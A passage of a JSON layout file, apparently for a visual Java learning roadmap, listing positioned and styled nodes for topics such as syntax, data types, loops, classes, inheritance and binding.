\"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"FY6qOOwg_pdFKoYPVOeys\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1478.3696984675892,\n        \"y\": 1176.8203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 65,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1478.3696984675892,\n        \"y\": 1176.8203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"ekkBrbM8BtpMu3TpHadYb\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1251.596805689261,\n        \"y\": 889.688197690446\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 229,\n      \"height\": 322,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 322\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1251.596805689261,\n        \"y\": 889.688197690446\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 322\n      }\n    },\n    {\n      \"id\": \"FyTlaUqrK5h3e5mWwkvVg\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1018.5552405844742,\n        \"y\": 524.0085042417479\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 450,\n      \"height\": 316,\n      \"style\": {\n        \"width\": 450,\n        \"height\": 316\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1018.5552405844742,\n        \"y\": 524.0085042417479\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 450,\n        \"height\": 316\n      }\n    },\n    {\n      \"id\": \"o5yOEJFOR-wScK0GWPuQq\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 701.5073106597292,\n        \"y\": 403.3478959395741\n      },\n      \"width\": 249,\n      \"height\": 440,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 440\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 701.5073106597292,\n        \"y\": 403.3478959395741\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 440\n      }\n    },\n    {\n      \"id\": \"hp15XdmPlKKTbYnrYfCBl\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 1193.3343015809069,\n        \"y\": -6.124142006891191\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 1193.3343015809069,\n        \"y\": -6.124142006891191\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1125.8343015809069,\n        \"y\": 187.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Rhk7BrJqNEXQT3LGlGLM6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1125.8343015809069,\n        \"y\": 187.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rj8ATHPvFP-QtD9mDLY0Z\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1232.8343015809069,\n        \"y\": -98.12414200689119\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 92,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 92\n      },\n      \"positionAbsolute\": {\n        \"x\": 1232.8343015809069,\n        \"y\": -98.12414200689119\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 92\n      }\n    },\n    {\n      \"id\": \"OlbQNB6YXZjO1J7D0lZU1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.1618709488599,\n        \"y\": 81.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.1618709488599,\n        \"y\": 81.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"5g9mmi01WeZ4aDqNzwx_V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.1618709488599,\n        \"y\": 187.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QgWalJLIb6Fw0HhN1wb02\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.1618709488599,\n        \"y\": 187.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sG_3ZQIE1-FQXQkk-OduQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 239.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 239.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5khApwg1FZ-0qorsLyH-F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 186.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Arrays \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DZ4BX4NYeCQbjGSj56lng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 186.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JHUhVEjWFXTn6-wKcKevg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 292.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DZ4BX4NYeCQbjGSj56lng\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 292.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VBNcAO0STaZJ1iV9A7utv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.1618709488599,\n        \"y\": 240.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variables and Scopes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aEaBobzFWv0mJHGAbgxKY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.1618709488599,\n        \"y\": 240.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yNDbk6r5wFqBi25xmIRF_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.1618709488599,\n        \"y\": 293.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aEaBobzFWv0mJHGAbgxKY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.1618709488599,\n        \"y\": 293.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aEaBobzFWv0mJHGAbgxKY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 80.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strings and Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 80.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ziD_XwzJSFQP_3iLjq9pA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 133.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Math Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aEaBobzFWv0mJHGAbgxKY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 133.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QgWalJLIb6Fw0HhN1wb02\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.1618709488599,\n        \"y\": 134.97715893815337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lifecycle of a Program\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aEaBobzFWv0mJHGAbgxKY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.1618709488599,\n        \"y\": 134.97715893815337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LenPrQwxFsE1UVbXO_dE7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 462.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Classes and Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xTwJYcA6ldgaw3yGmbDEd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 462.3478959395741\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xTwJYcA6ldgaw3yGmbDEd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 515.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Attributes and Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 515.3478959395741\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KYndNwfQcwRCf3zCXOwd_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 568.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Access Specifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xTwJYcA6ldgaw3yGmbDEd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 568.3478959395741\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZcNxO6qIXIg7RaWYnZj2e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 621.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ajuc_rHObqMQBXLqRIuxh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 621.3478959395741\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zDBW20W2XMCtNTG3emJ_A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 726.5225969995055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nested Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ajuc_rHObqMQBXLqRIuxh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 726.5225969995055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DZ4BX4NYeCQbjGSj56lng\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 345.38076562915717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basics of OOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1522.5338845627668,\n        \"y\": 345.38076562915717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zNHDLv26Xn3oMrDVSAP1Z\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1075.0552405844742,\n        \"y\": 416.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 337,\n      \"height\": 52,\n      \"style\": {\n        \"width\": 337,\n        \"height\": 52\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1075.0552405844742,\n        \"y\": 416.3478959395741\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 337,\n        \"height\": 52\n      }\n    },\n    {\n      \"id\": \"ryMPhTTScI9pJMkQsZaaM\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 762.5073106597292,\n        \"y\": 416.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basics of OOP\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 762.5073106597292,\n        \"y\": 416.3478959395741\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"X6xl98_RqAQY79baHmRRI\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 949.5073106597292,\n        \"y\": 432.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 949.5073106597292,\n        \"y\": 432.3478959395741\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"sHYmeXbdREoxrru0PZ3Px\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1170.5552405844742,\n        \"y\": 533.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More about OOP\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1170.5552405844742,\n        \"y\": 533.5536247250346\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Ax2ouIZgN1DpPzKDy4fwp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 981.8343015809069,\n        \"y\": 632.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Method Chaining\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3qowgj1pas1X7oRric9eU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 981.8343015809069,\n        \"y\": 632.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ey1f8IsdAlDv1O3E_tNog\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 981.8343015809069,\n        \"y\": 685.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Enums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VqLV7kolfRFnvOuJAvzlg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 981.8343015809069,\n        \"y\": 685.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ajuc_rHObqMQBXLqRIuxh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 674.3478959395741\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Final Keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KYndNwfQcwRCf3zCXOwd_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 674.3478959395741\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3qowgj1pas1X7oRric9eU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 981.8343015809069,\n        \"y\": 579.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iH9wSsOK4a77pS7U0Yu5z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 981.8343015809069,\n        \"y\": 579.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qdA6bK9ZkP8p0_NH_wMuj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1365.6267811847088,\n        \"y\": 579.0404190441817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Abstraction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kjdj862xnz8fqDYE3HKhC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1365.6267811847088,\n        \"y\": 579.0404190441817\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PXpPEmCEBUKRjwP3B5LzJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 579.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iH9wSsOK4a77pS7U0Yu5z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 579.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y-i56f1P_mMdvyBr7J4XE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 685.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Method Overloading / Overriding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kjdj862xnz8fqDYE3HKhC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 685.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kjdj862xnz8fqDYE3HKhC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 739.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static vs Dynamic Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iH9wSsOK4a77pS7U0Yu5z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 